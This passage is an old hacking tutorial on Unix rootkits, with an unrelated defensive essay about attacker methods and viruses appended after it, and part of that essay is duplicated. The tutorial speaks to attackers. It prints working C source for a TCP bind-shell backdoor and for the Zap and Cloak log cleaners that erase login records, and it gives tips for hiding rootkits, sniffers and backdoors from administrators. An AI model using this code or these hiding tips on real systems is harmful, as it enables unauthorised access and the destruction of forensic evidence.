However there are some rootkits that require more skill to run and use. Some rootkits require you to edit the source code before it's compiled and some even need you to edit the iptables and kernel. (Very advance ones, they used one at the "Black Hat Conference" in 2002)
So, rootkits are used by both hackers and script kiddies. I personally believe that a hacker would have to write his own rootkit to call himself a hacker not just run and use someone else code. (However that’s just my opinion, so don't hold me to that!)
1.6 - Who uses rootkits and why?
I have already really covered this in the previous sections, however for the forgetful types I shall explain again, just to summaries up what we have learnt so far...
Hackers and script kiddies use rootkits, they use them to maintain root and cover their tracks. Script kiddies lack knowledge of *how* a rootkit really works and most often they will end up deleting key binary files. (Basically, script kiddies will let you know when they have compromised your system)
Rootkits are only installed when the system has been compromised and root has been gained.
I don't really want to go into any more detail, because I'll end up just repeating myself. Lets just move on...
1.7 - The Language rootkits are coded in
Hmmm, well this isn't going to be short...
Most rootkits are coded in C or Assembly (Shell code). Most of the well-known rootkits are coded in C so the attacker can edit the source code to fit its target specification. (E.g. The logs files could be stored in a different location)
1.8 - Different types of rootkits
At the current time of writing there are 2 main types of rootkits.
Application rootkits - Established at the application layer
Kernel rootkits - Established at the kernel level (Core of any OS)
When I say "established" this could be referred to of where exactly the rootkit hides. Now lets start of my looking at an application rootkit.
An application rootkit is basically a rootkit which "replaces" all the well know system binary files (ls, netstat, killall) with "fake" or "Trojanned" ones. The trojanned or fake system files will help hide the attackers presence, report false information to the system administrator and even provide a Backdoor for the attacker. To help you understand this more I have provided a list of all the typical system files, which are "replaced" to, help the attacker cover his or her tracks. The list was taken from "Rootkit: Attacker Undercover Tools" by Sailman Manap.
Programs replace to hide attacker presence.
• "ls", "find", "du"
- Trojaned system file will be able to hide attackers file, directory
and stuff that have been brought into the system from being listing.
• "ps", "top", "pidof" -
All these programs are process monitor program. Trojaned
program will hide attacker process from being listing.
• "netstat" -
netstat is used to check network activity such as open port, network
connections establish and listening. Trojaned netstat will hide processes installed by attacker such as ssh daemon or other services.
• "killall" -
Trojaned "killall" will not be able to kill attacker process.
• "ifconfig" -
When sniffer is running PROMISC flag is set to the nic. "ifconfig" is a handy
utility to set and to view setting of ethernet nic. Trojaned "ifconfig" will not
display the PROMISC flag when sniffer is running. This is useful to hide sniffer
from being detected.
• "crontab" -
Trojaned "crontab" will hide the attacker’s crontab entry.
• "tcpd", "syslogd" -
Trojanised "tcpd" and "syslog" will not log any connection made by attacker.
"tcpd" also capable to bypass tcp wrapper enforcement.
Hopefully, that would should have given you a better idea of what an Application is. Remember, this section has only be written so you can distinguish the differences between a "Application" rootkit and "Kernel" rootkit. Lets now take a look at a Kernel rootkit.
A Kernel rootkit is a rootkit that buries itself deep in the Kernel. This makes it extremely hard to detect and remove. Kernel rootkits are more advance then Application rootkits, A Kernel rootkit works by exploiting and manipulating Kernel capabilities. Now I don't really want to go in much more detail on Kernel rootkits because they can get quite advance (Well, they ARE) were talk about them later in this file, it may also help to look at "2.7 - How the kernel works" to get a feel for these Kernel rootkits...
It's now time to move on. In the next section (Section 2) We look at all the elements which make up a rootkit, such as a Backdoor, Sniffer, log basher etc Half way through section 2 we will then look at "Kernel Rootkits" in more detail.
2 - Backdoors
Most of today’s (decent) rootkits contain "Backdoors". Now you should all know what a Backdoor is but just in case you didn't I will quickly give a brief explanation of all.
Backdoor - A program or script which allows an attacker to establish some form of privilege and remote communication without logging into the system. Backdoors are usually installed when the system has been successfully compromised and some form of exploit has been entailed. The advantage of installing a backdoor on a system means that the attacker doesn't have to keep using the same exploit over and over again. The disadvantage of installing a backdoor means at one point or another the system administrator will notice suspicious activity in his network traffic, if he or she were to run a port scanner such as Nmap (Coded by Fyodor http://www.insecure.org) he or she would soon uncover an open port and sooner or later remove the backdoor.
A typical example of a Windows NT2000 backdoor is one entitled "Tini.exe" (Made by NTSecurity) This little program listens on port 7777 for incoming connections, once a connection has been established a remote command shell is executed for the attacker who establishes the connection. (Now as I have mentioned this t-file generally deals with *nix backdoors, so I don't really want to get side stepped talking about windows backdoors, exploits etc I thought I'd just mention tini.exe to give you a general idea of what a Backdoor consists of.
Now lets talk more about *Nix backdoors. *nix backdoors come in *many* shapes and sizes. The paper by Sailman Manap gives yet another long comprehensive list of all the forms backdoors come in...
• Login Backdoor -
Modifying login.c to look for backdoor password before stored password. Attacker
can log into any account using backdoor password.
• Telnetd Backdoor -
Trojaned the "in.telnetd" to allow attacker gain access with backdoor password.
• Services Backdoor - Replacing and manipulate services like "ftp", "rlogin", even
"inetd" as backdoor to gain access.
• Cronjob backdoor - Backdoor could also be added in "crontjob" to run on specific
time for example at 12 midnight to 1 am.
• Library backdoors - Almost every UNIX and Windows system have shared libraries.
Shared libraries can be backdoor to do malicious activity
including giving a root or administrator access.
• Kernel backdoors - This backdoor is basically exploiting the kernel, which is core
of the operating system to handle and to hide backdoor
effectively
• Network traffic backdoors which typically using TCP, UDP, and ICMP - Backdoor that Exploiting network traffic protocol is widely used. In TCP protocol backdoor like ssh is Popularly used because it communicate in encrypt, while crafting and tunneling packet In UDP and ICMP traffic will give a better chances escaping from firewall and "netstat".
All of these and any other forms of *nix backdoors are explained and documented by Christopher Klaus, his paper can be
Reached at http://secinf.net/info/unix/backdoors.txt, I strongly recommend you check it out if you are either really interested in Backdoors or you still haven’t grasped the basic concepts of Backdoors. I have also written a small file on Backdoors entitled "A Crash Course in Backdoors" it is available at http://www.invisibleghosts.net
To finish of this section on backdoors, I feel like adding some source code. (This is a basic TCP Backdoor for *nix if you don't own a copy of linux or unix don't even attempt to compile this
I did not write this, shaun2k2 did, so please give ALL credit for the below source code to him.
Code: C
/* backdoor.c - basic unix tcp backdoor.
*
* This is a basic UNIX TCP backdoor. /bin/sh is binded to the port of your
* choice. Access the shell with telnet or netcat:
*
* root# nc -v hackedhost.com 1337
*
* I do not take responsibility for this code.
*/
#include
#include
#include
#include
#define BACKLOG 5
#define SHELL "/bin/sh"
void usage();
int main(int argc, char *argv[]) {
if(argc <2) {
usage(argv[0]);
}
int sock, csock;
struct sockaddr_in client;
struct sockaddr_in mine;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!n"); exit(-1);
}
mine.sin_family = AF_INET;
mine.sin_port = htons(atoi(argv[1]));
mine.sin_addr.s_addr = INADDR_ANY;
if(bind(sock, (struct sockaddr *)&mine, sizeof(struct sockaddr)) == -1) {
printf("Could not bind socket!n");
exit(-1);
}
if(listen(sock, BACKLOG) == -1) {
printf("Could not listen on socket!n");
exit(-1);
}
printf("Listening for connections on port %s!n", argv[1]);
while(1) {
int sin_size;
sin_size = sizeof(struct sockaddr);
csock = accept(sock, (struct sockaddr *)&client, &sin_size);
dup2(csock, 0);
dup2(csock, 1);
dup2(csock, 2);
execl("/bin/sh","/bin/sh",(char *)0);
close(csock);
}
}
void usage(char *progname[]) {
printf("Usage: %s
exit(-1);
}
The main purpose of me showing you this source is to give you a general idea of what a rootkit consists of. Remember rootkits come in many shapes and sizes and every rootkit is most likely to contain some form of Backdoor...
So what else do rootkits contain apart from Backdoors? Lets move on to the next section and look at "Sniffers".
2.1 - Sniffers
A lot of today’s rootkits contain programs known as "Sniffers". What are Sniffers? (Also known as Packet Sniffers)
Basically packet Sniffers are programs that are made to "Monitor" network traffic, TCPIP or any other network device. I'm sure you know when you are browsing the Internet or playing online games "Packets" of data are going to and from your Computer. Attackers install Sniffers so they can capture valuable information which is floating to and from your computer.
What type of valuable information?
Here is a list of what a Sniffer is capable of...
• Sniffing FTP passwords
• Sniffing Telnet passwords
• Sniffing Network passwords
• Sniffing POP3 passwords
• Capturing websites you have visited
• Sniffing Gateways
• Lots more
Some of you may be thinking "Won't my passwords been encrypted as they are passing over my network?" To some extent this is true, some services provide encryption (Such as E-mail if you were using PGP sniffing would be useless, unless of course your a good cryptographer)
Other services such as ftp and telnet transfer their passwords in plain text, so it would be easy for an attacker to just capture the packet then dump it into a text editor (such as "vi", "Pico" or for M$ notepad) it would only take a couple of minutes for an attacker to uncover the plain text password.
Now there is a technical side to Sniffers that I don't really want to go into. For more information on Sniffers please read http://www.sans.org/infosecFAQ/switchednet/sniffers.htm this paper was written by a "Jason Drury" and I have found it most useful. If you are more interested in Windows Sniffers then I can recommend getting a copy of the following....
• Windows Sniffer
• TcpDump
• Password Capture --------> Made especially to sniff passwords
• Sniff
• Ethereal
• EtherPeep
My personal favorite Sniffer for Windows has to be TCPDump it's command line driven so the scripties wouldn't go near it but for those truly interested in the elements of computer hacking I would recommend TCPDump, it will take time getting used to it but its worth it.
Now what about linux sniffers.. Hmmmm I'll be honest with you I haven’t had much experience using linux Sniffers, but I have been told there are some good tutorials on how to make your own Sniffer for *nix on http://www.planetsourcecode.com, however before you even attempt to make your own I strongly recommend you get into socket programming. If you want a read made Sniffer just google for one, a common one is "linsniffer.c"
Anyway back to the main point, most rootkits DO sometimes contain "ready to run" Sniffers and Sniffers are hard to detect once they are running. (Were look at this a little later) The purpose of this section was just to show you WHAT a Sniffer is.. Now you know lets move on
2.2 - Cleaners (Log Bashers)
Ah, we come to something a lot more simpler, Log Bashers (Also known as Log deleters, Log killers and Log Cleaners)
No matter what the title they all do the same thing. Delete system log files. System Administrators rely on logging as an extra form of security. Log files can keep track on who logged in last and at what type, what programs were run as that user was logged in etc etc
Therefore it is exceptionally important for the attacker to destroy ALL traces of log files. Now, some of you may be thinking..
"If all the Log files are deleted won't this give an indication to the system administrator that there box has been hacked?"
If you’re thinking that, then your dead right. Deleting the log files can sometimes be pretty stupid, the best way to get around the log files is to "edit" the entries by deleting your entries and filling in some false ones (Sometimes this requires root access, but if your running a log cleaner of a rootkit you should already have root
Another way around this is to delete the whole log file then to "re-create" them. Here is a VERY simple script I made to demonstrate what I mean...
Code: C
int main()
system("rm-rf /root/logs/LastEntry.log");
touch(" /root/Logs/LastEntry.log");
return 0;
Now for those who don't know any C then I shall I explain. The first main line of the code is telling the C program to remove the file LastEntry.log, delete it. The second line is telling the program to create a file called LastEntry.log in the exact same location.
So when the system administrator opens the log file he will be confronted with a blank file. (This may be a bit stupid because if the admin is security minded he will know the system has been compromised. Some stupid admins see it as a 'Bug' therefore you get away with it.)
Most rootkits contain some form of log-cleaner, but before you execute it you need to make sure you know exactly HOW it works, otherwise your just another script kiddie who "presumes" this tool will cover your tracks completely. Some log cleaners search certain directories for words like "IP" "Login", "Logs", "Log" etc and then delete them. Some just delete all the default log files that are in the default system location. Before you compile a rootkit learn C and take a look at the source code you may find you need to edit some of the entries. It's important you come FULLY prepared before you go out and install your rootkit.
I'll tell you now, I have been in this game long enough to realize even if you successfully editDelete a bunch of log files it doesn't mean you’re untraceable. You still need to think about system programs which are running, which may have their own logging capabilities. Look out for IDS (Intrusion Detection Systems) such as SNORT and look out for programs like Tripwire and any other security programs which monitoranalyze system security.
As more and more people become security minded so do there software and "security awareness" system administrators are getting clever, so be careful!
I'll end this section now with some source for some well known log cleaners, I would strongly recommend not using them though, since they are fairly old. I'm only using them to show you what typical log cleaners are (used to be) like. Just because they are old though doesn't mean they don't work I'm just pretty sure if you Google about you can find MUCH better ones.
This is a very old log cleaner called "Zap" the source code is below..
Code: C
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!n");
} else
printf("Error.n");
}
Here is another little log cleaner called Cloak v1.0 it wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX. This program is *old* and was written by Wintermute of -Resist-.
Code: C
/* UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */
/* This file totally wipes all presence of you on a UNIX system*/
/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
/* is compatible.. This file is for information purposes ONLY!*/
/*--> Begin source... */
#include
#include
#include
#include
#include
main(argc, argv)
int argc;
char *argv[];
{
char *name;
struct utmp u;
struct lastlog l;
int fd;
int i = 0;
int done = 0;
int size;
if (argc != 1) {
if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
printf("You are now cloakedn");
goto start;
}
else {
printf("close successfuln");
exit(0);
}
}
else {
printf("usage: close [file to close]n");
exit(1);
}
start:
name = (char *)(ttyname(0)+5);
size = sizeof(struct utmp);
fd = open("/etc/utmp", O_RDWR);
if (fd < 0)
perror("/etc/utmp");
else {
while ((read(fd, &u, size) == size) && !done) {
if (!strcmp(u.ut_line, name)) {
done = 1;
memset(&u, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &u, size);
close(fd);
}
}
}
size = sizeof(struct lastlog);
fd = open("/var/adm/lastlog", O_RDWR);
if (fd < 0)
perror("/var/adm/lastlog");
else {
lseek(fd, size*getuid(), SEEK_SET);
read(fd, &l, size);
l.ll_time = 0;
strncpy(l.ll_line, "ttyq2 ", 5);
gethostname(l.ll_host, 16);
lseek(fd, size*getuid(), SEEK_SET);
close(fd);
}
}
2.3 - Rootkit Extra Utilities
I will try and keep this section short due to there isn't really that much to say. As you should know by now and as I have mentioned rootkits come in all shapes and styles. Some rootkits are well known for their advance log cleaner, others for there advance Backdoor and others for there adavnce, stealth hard to remove installation procedure.
There are some rootkits which are well known for being SAR (Swiss Army Rootkits) basically, they are rootkits with average features plus a whole load of extra utilities such as Bots, DdoS, Extra scripts, Password crackers, Killer scripts etc
Rootkits that contain scripts that cause DDoS attacks are considered dangerous, if an attacker were to exploit 100's of servers and install such a rootkit those servers would then become "Zombies" they could launch DDoS attacks (SYN, PING, FINGER, UDP, TCP) against chosen targets. Rootkits are continuously being made more advance and extra utilities are being added on each time. In the future I personal predict that rootkits will be a major threat to national security.......
That’s really all I have to say for this section. Lets move on.
2.4 - Kernel Rootkits (More Detail)
We have already briefly looked at "Kernel Rootkits" but we haven’t really looked at them in close detail. In this section I plan to analyze and expose the basics of a kernel rootkit. If your not to sure on what the "Kernel" is I recommend you skip this section and move onto the next section (2.5) then come back to this section when you feel that you are ready.
The best way to start of this section is talk about how Kernel rootkits actually work. Kernel rootkits work, basically by exploiting LKM. (Loadable Kernel Modules)LKM are used to load device drivers on a "as-needed" bases. LKM are usually only exploited so the attacker can perform malicious activity.
Kernel rootkits are way more dangerous than Application rootkits because instead of just replacing the basic binaries like "ls" and "netstat" they attack the kernel directly and manipulate system-calls like open() and read(). As we know application rootkits replace binaries, if the administrator was clever and analyzed the actual binaries which had been replaced they will realize the differences in size (e.g. the program could contain an extra 128 bytes) However, this wouldn't be possible with Kernel rootkits because instead of actually changing the size and structure of the program, they just change the way the program operates. For example programs like "ps" use an open system call "open()" and reads information from files in the directory /proc, where also the information about running processes is kept.
For more information on rootkits and to mess about with typical examples of each rootkit type...
Considering obtaining a copy of..
Application rootkit - t0rn Kernel rootkit - Adore (Also known as LKM-Adore)
2.5 - How the Kernel Works
This will be a very basic and very short section and is only here to help those understand how the Kernel works.
What is a Kernel? In English and using non-technical jargon a Kernel is basically the "Core" of the OS (Linux, Unix, Windows). Without the Kernel an Operating System could not load.
The Kernel is one of the first things which load in a OS and it remains in the main memory. Since it's staying in the main memory its *very* important for the Kernel to be as small as possible, but at the same time be able to provide all the essential programs, services, devices, applications and drivers for the OS.
Typically, the kernel is responsible for I/O(Input and Output) management, Device drivers, CPU management, process and task management, and disk management.
The kernel looks something like this....
Code:
_ _ _ _ _ _ _ _ _
|Applications and | - LKM - System Calls
|_Programs_ _ _ _ |
*******************
* MAIN KERNEL * - Consists of: Memory Management
* * IO Management
******************* CPU Management
| Hardware | Device Drivers
|_ _ _ _ _ _ _ _ _ |
Understand?
Quite simple really...
2.6 - Analyzing an Application Rootkit "T0rnkit"
This is a professional analysis of the rootkit "T0rn" this was taken of off Mcaffe's main site.
"T0rnkit attempts to hide its presence when installed. During installation it first shuts down the system-logging daemon, syslogd. It then replaces several other system executables with trojanized versions and adds a trojanized ssh daemon to the system as well. Programs that are replaced are, among others; du, find, ifconfig, login, ls, netstat, ps, sz and top. If the system administrator uses these somewhat vital functions they report normal looking information, but the processes and network connections that the hacker uses aren't shown. Finally T0rnkit starts a Sniffer in background, enables telnetd, rsh and finger daemons in "/etc/inetd.conf", restarts inetd to activate changes made and starts syslogd again. This all without the system administrator knowing about it.
Noteworthy is that all new programs in the t0rnkit all have the exact size of 31.336 bytes. T0rnkit usually can be found in the directory /usr/src/.puta, but of course not if it already has been activated because the command 'ls' will have been replaced. With the standard installation of t0rnkit TCP port 47017 is open for root access to the system. A modified version of this rootkit was also distributed by a variant of Unix/Lion worm.
A system administrator that is a little bit into the security world can find a with t0rnkit infected system pretty fast because of the change in file sizes and a simple port scan will reveal the open port, but funny enough most people don't have this 'expertise' "
2.7 - A variety of hiding methods
To finish off section two, I will give you some tips that I have found to be useful when hiding certain features of a rootkit e.g. Backdoor, Sniffer etc)
Lets start by reviewing ways to successfully hide the actual rootkit...
To start off with, it would be a good idea to hide the compiled rootkit in a hidden directory. I would recommend creating a directory you suspect the administrator will not go near. For example try hiding it in a folder situated in /var/something/something/something make it as long as possible and rename the file using the "mv" command to something the admin will not suspect is a "suspicious" file (e.g. Kernel-023, pso, ls2 etc)
Now when running the sniffer make sure you add the character "&" behind of it, like this "lnsniffer&", the "&" tells the system to continue running the program even when the user is logged out. However, this does provoke a slightly higher risk. If you leave the Sniffer running all day and the sysadmin logs in he may notice something is up if he was to execute the "ps" command. Sniffers are great programs for getting passwords, if a TCP Sniffer was installed on a regular Ethernet connection you could capture a good 50 odd passwords!
The downside to Sniffers are they may need to be modified slightly before you can run them, also some IDS programs can detect changes made to the Ethernet card (e.g. When the card is switched into promiscuous mode the IDS will know and alert the admin)
Now if your running a "Kernel rootkit" its quite easy to hide the Sniffer, because if the kernel rootkit is any good it should allow the Sniffer to hide the promiscuous flag of the network interface. The system call to Trojan in this case is sys_ioctl() (You don't really need to know that, unless your planning on writing your own kernel rootkit)
"Hiding network connections" is another technique you may wish to use. To sucessfully hide network connections it can be done by preventing the system logging the activities inside “/proc/net/tcp” and “/proc/net/udp”. The idea for a kernel rootkit is to trojan the sys_read() command. Whenever reading these two files and a line matching a unique string, the system call will hide it from user.
The above techniques can then be brought together to successfully hide a backdoor. Most backdoors you install will listen on a certain port, this informartion is then logged into /proc/net/tcp and /proc/net.udp, you would need to manipulate the sys_read() system call to sucessfully hide the backdoor.
Now it's important that you know using rootkits could be a very easy way to get busted. There have been times when I have just gone into a system with a custom made log cleaner and nothing else. System administrators are getting quite clever and with the rapid growth of advance programs like "Promiscuous Detectors" and "Chkrootkit" it's easy for the attacker to slip up and get busted. Kernel rootkits are the best type of rootkits to use when penetrating through a system but they are also the most complex and will require patience and understanding before they can be put to any real use.
Before you just go out and install a bunch of rootkits on your "rooted boxes" I would strongly recommend experimenting with them on your own box, so you learn EXACTLY what they are doing. If you haven’t got a box to practice on I recommend you download and install a copy of VMWare, NEVER take risks! There is more to life than computers, don't mess your whole life up with some stupid childish mistake!
HACKING FROM A SECURITY PROFESSIONAL VIEW
Hacking from a security professional's view
Introduction
Computer technology is growing now more than ever. It's now the golden age for information communication. With new systems and technology coming out, so do new flaws and vulnerabilities. There are people that take these flaws and use them to do harm to other systems. Viruses are still a big threat, and social engineering is another way attackers can harm your system. With the number of attackers and flaws around, it may seem all is lost. But all is not. This paper takes into account the many ways an attacker gets in, how he or she keeps control, then how the attacker sneaks out. This paper also contains many examples of viruses, and other ways attackers attack your computer. This paper is meant for informational uses only. I am not responsible for people who use this information for illegal purposes. Also, given the circumstances, all viruses in this paper are run on older versions of Windows (Windows 98 and Windows 95).
Every day I use a computer the first thing I think about is what is wrong with it. For example, is the Internet filter good enough to stop me from going to any site? Or are there ways to be able to stop the administrator computer from looking in on me, or any other thing? These are all harmless, but an attacker looks for ways to harm computers. They hunt for ways to cause the computer to malfunction or get some information from it.
Information technology has changed over the years. There was a time when you could go in a room and talk to others without anyone knowing what you were saying. Now governments can use technology to hear what you say from to two to five miles away. There is new technology that can read exactly what’s on your computer screen from a safe location. In 1995, a 28-year-old attacker from Russia made a $12 million by breaking in to Citibank's computers. (That’s something to ask next time the bank says it can’t be robbed).
Social engineering is also a big risk. This happens when someone pretends to be someone or something they are not. Users of e-mail see this when they get messages from banks or e-Bay that ask for social security numbers, credit card numbers or other personal information. Many people try this but the most infamous was Kevin Mitnick. Mitnick was finally arrest and admitted that he social engineered passwords and major flaws just by pretending he was someone else. This kind of attack takes little or no computer skill.
Viruses are also a big risk. Some of the most worst ones are Melissa virus, Klez Virus, Chernobyl virus, Michelangelo, and happy99. These viruses all depend on computer users opening an e-mail and downloading an executable file.
The issue of users downloading viruses is now bigger than ever, because:
1. Now is the golden age of technology
2. Many companies transfer a lot of sensitive information
3. More and more tools come out every day
4. There are more and more users of computers now than ever before
These are just a few reasons viruses are a big issue. Attackers don’t need to be elite hackers to cause big problems. One simple click, a download of a tool and voila' -- the attacker is in your computer. Most of the time, free shareware hacker tools are not that hard to get rid of, but some tools can cause major damages to your computer. Attackers are no longer just strangers. They're also the people that work for you. Employees can damage your systems; even the people that used to work for you can.
According to the book Hack-Counterhack by Ed Skoudis, there are many steps an attacker will follow when hacking a computer.
1. Reconnaissance
2. Scanning
3. Gaining access
4. Maintaining Access
5. Covering their tracks
Hackers don't always work in this order, but the idea is to cause the most damage possible.
Let’s start with reconnaissance. Reconnaissance is when the attacker looks up their target. There are many ways of doing this, including social engineering, dumpster diving, and physical break-in. People also are using the Internet to find information on a target such as a phone number or e-mail address, technical information, and billing contacts. There are great Internet tools that can gather a lot of information on individuals. They can do a DNS lookup to **********. They can ping the host to determine if it's an actual person's computer or a firewall. They can also perform a "who is" lookup to gather more information on an individual.
Now that we know how attacker use reconnaissance, let's learn how protect from various attacks from internet lookups.People have several options to stop "who is" lookups.
1. Don’t input phony information (if someone gets attacked, they may need to contact your organization)
2. If you have a Web site, make sure everything on your site has a purpose
3. Remove anything that could help an attacker
4. If any other Web sites are linking to you, ask them why
Internet users should know how to stop a ping, which is a utility used to determine whether a particular computer is currently connected to the Internet. It works by sending a packet to an IP address and waiting for a reply. (http://www.oit.ohio-state.edu/glossary/gloss3.html)To combat this problem, put up a simple firewall and close all the ports you’re not using. As you can see, there’s a lot to reconnaissance, and it should not be taken lightly. Always make sure that you keep your organization's information up to date. Make sure your web site only has business information and nothing that could help an attacker.
Scanning is also very important. It starts when an attacker scans your network for open ports using a port scanner. There are many port scanners available and most of them are the same. A port scanner sends a small signal to each port really fast to see if it's open or not. If it's not (or if it's open) it goes to the next port. After the scan, it tells the attacker which ports are open. Port scanners can also scan for vulnerabilities. This is great tool to run on your computer, but it can also be used to scan anyone's computer. This tool perfect for an attacker because not only does it tell the attacker what ports are open, it also tells what vulnerabilities there are with each open port.
Now its time learn how to protect your computer from port scanners. The simplest way is to download a firewall and close all the ports. (You can get one for free with Windows XP Service Pack 2, or you can download one from http://www.zonelabs.com/store/conte...reeDownload.jsp.)
After reconnaissance and scanning, it's time for the attacker to try to gain access to your computer. If the attacker has physical access to the computer, it makes life easier for him or her. Let's look at password cracking. There are tools that a hacker can download to crack your computer password. A normal tool an attacker will use can be downloaded for free and runs on Windows. Before the attacker can hack the passwords, the attacker well need the password hashes (the encrypted form of a password). Using the free cracking program, the hacker will run the hashes though the password cracker.
Here some ways to stop hackers:
1. Use passwords like "9ilikelowe9" that use both numbers and letters
2. Make sure to give administrator power to people you trust
Keeping access is the easiest way for an attacker. If the attacker has the password, and physical access to the computer, all they have to do is download a Trojan Horse. Once this happens, the attacker has full control of the computer. If the Trojan horse is on the administrative computer, they have all the control the administrator would have.
To stop a Trojan Horse, look for:
1. New software
2. New changes to settings or registry on the computer
3. Anti-virus is great for keeping up with Trojan Horses
Now that the attacker has what he wants. Let's look at how they cover their tracks. One way, and the only way I am going to talk about, is very simple. All the attacker has to do is configure Windows to hide folders . For more vital information visit (http://privacy.getnetwise.org/shari...a/hide-instruct)
Viruses
A virus, in a nutshell, is a program that does bad things. Viruses are mostly made in a programming language called visual basic. Viruses are mostly in a executable program, meaning you have to download something before the viruses works. E-mail viruses work the same way, but through e-mail attachments. Once the victim has downloaded the e-mail attachment, the virus goes to work. Many times it duplicates itself and infects other programs. Viruses can delete important programs and files and cause your computer to act funny and do things they're not supposed to. There's a lot of varieties of viruses than what is in this paper, but that's basically what a virus does. (More on this topic please go to) (http://www.viruslist.com/en/viruses...apter=152540474)
Protection
How do you protect your computer from e-mail viruses?
1. DO NOT DOWNLOAD FROM SITES YOU DO NOT TRUST
2. After every download, run a virus scan
3. Update your anti-virus software frequently
4. Before you download any attachment, run an anti-virus scan on it.
Conclusion
As you can see, there are many way that an attacker can hurt your computer. Lets reveiw.
1. They can steal personal and financial information
2. They can cause your computer to delete important information
3. They can cause your computer to malfunction
4. They can infect other computers from your computer
As you can see, there are many ways for attackers to destroy your computers. The sad thing is some people think hacking a computer is some sort of thing they can do anytime for fun. Children in school need to know that it's not a good idea to use their knowledge to hack. They shouldn't hack just because they think it's cool.Many places that don't have anti-virus software include libraries, both in school and in public. The libraries might think that it's not important to have anti-virus software or they simply don't think they can afford it. They should find a way to get the protection. Hackers can hack your computer only to use it to hack something bigger and better with your computer, making it seem like you're the one who hacked it.
Introduction
Computer technology is growing now more than ever. It's now the golden age for information communication. With new systems and technology coming out, so do new flaws and vulnerabilities. There are people that take these flaws and use them to do harm to other systems. Viruses are still a big threat, and social engineering is another way attackers can harm your system. With the number of attackers and flaws around, it may seem all is lost. But all is not. This paper takes into account the many ways an attacker gets in, how he or she keeps control, then how the attacker sneaks out. This paper also contains many examples of viruses, and other ways attackers attack your computer. This paper is meant for informational uses only. I am not responsible for people who use this information for illegal purposes. Also, given the circumstances, all viruses in this paper are run on older versions of Windows (Windows 98 and Windows 95).
Every day I use a computer the first thing I think about is what is wrong with it. For example, is the Internet filter good enough to stop me from going to any site? Or are there ways to be able to stop the administrator computer from looking in on me, or any other thing? These are all harmless, but an attacker looks for ways to harm computers. They hunt for ways to cause the computer to malfunction or get some information from it.
Information technology has changed over the years. There was a time when you could go in a room and talk to others without anyone knowing what you were saying. Now governments can use technology to hear what you say from to two to five miles away. There is new technology that can read exactly what’s on your computer screen from a safe location. In 1995, a 28-year-old attacker from Russia made a $12 million by breaking in to Citibank's computers. (That’s something to ask next time the bank says it can’t be robbed).
Social engineering is also a big risk. This happens when someone pretends to be someone or something they are not. Users of e-mail see this when they get messages from banks or e-Bay that ask for social security numbers, credit card numbers or other personal information. Many people try this but the most infamous was Kevin Mitnick. Mitnick was finally arrest and admitted that he social engineered passwords and major flaws just by pretending he was someone else. This kind of attack takes little or no computer skill.
Viruses are also a big risk. Some of the most worst ones are Melissa virus, Klez Virus, Chernobyl virus, Michelangelo, and happy99. These viruses all depend on computer users opening an e-mail and downloading an executable file.
The issue of users downloading viruses is now bigger than ever, because:
1. Now is the golden age of technology
2. Many companies transfer a lot of sensitive information
3. More and more tools come out every day
4. There are more and more users of computers now than ever before
These are just a few reasons viruses are a big issue. Attackers don’t need to be elite hackers to cause big problems. One simple click, a download of a tool and voila' -- the attacker is in your computer. Most of the time, free shareware hacker tools are not that hard to get rid of, but some tools can cause major damages to your computer. Attackers are no longer just strangers. They're also the people that work for you. Employees can damage your systems; even the people that used to work for you can.
According to the book Hack-Counterhack by Ed Skoudis, there are many steps an attacker will follow when hacking a computer.
1. Reconnaissance
2. Scanning
3. Gaining access
4. Maintaining Access
5. Covering their tracks
Hackers don't always work in this order, but the idea is to cause the most damage possible.
Let’s start with reconnaissance. Reconnaissance is when the attacker looks up their target. There are many ways of doing this, including social engineering, dumpster diving, and physical break-in. People also are using the Internet to find information on a target such as a phone number or e-mail address, technical information, and billing contacts. There are great Internet tools that can gather a lot of information on individuals. They can do a DNS lookup to **********. They can ping the host to determine if it's an actual person's computer or a firewall. They can also perform a "who is" lookup to gather more information on an individual.
Now that we know how attacker use reconnaissance, let's learn how protect from various attacks from internet lookups.People have several options to stop "who is" lookups.
1. Don’t input phony information (if someone gets attacked, they may need to contact your organization)
2. If you have a Web site, make sure everything on your site has a purpose
3. Remove anything that could help an attacker
4. If any other Web sites are linking to you, ask them why
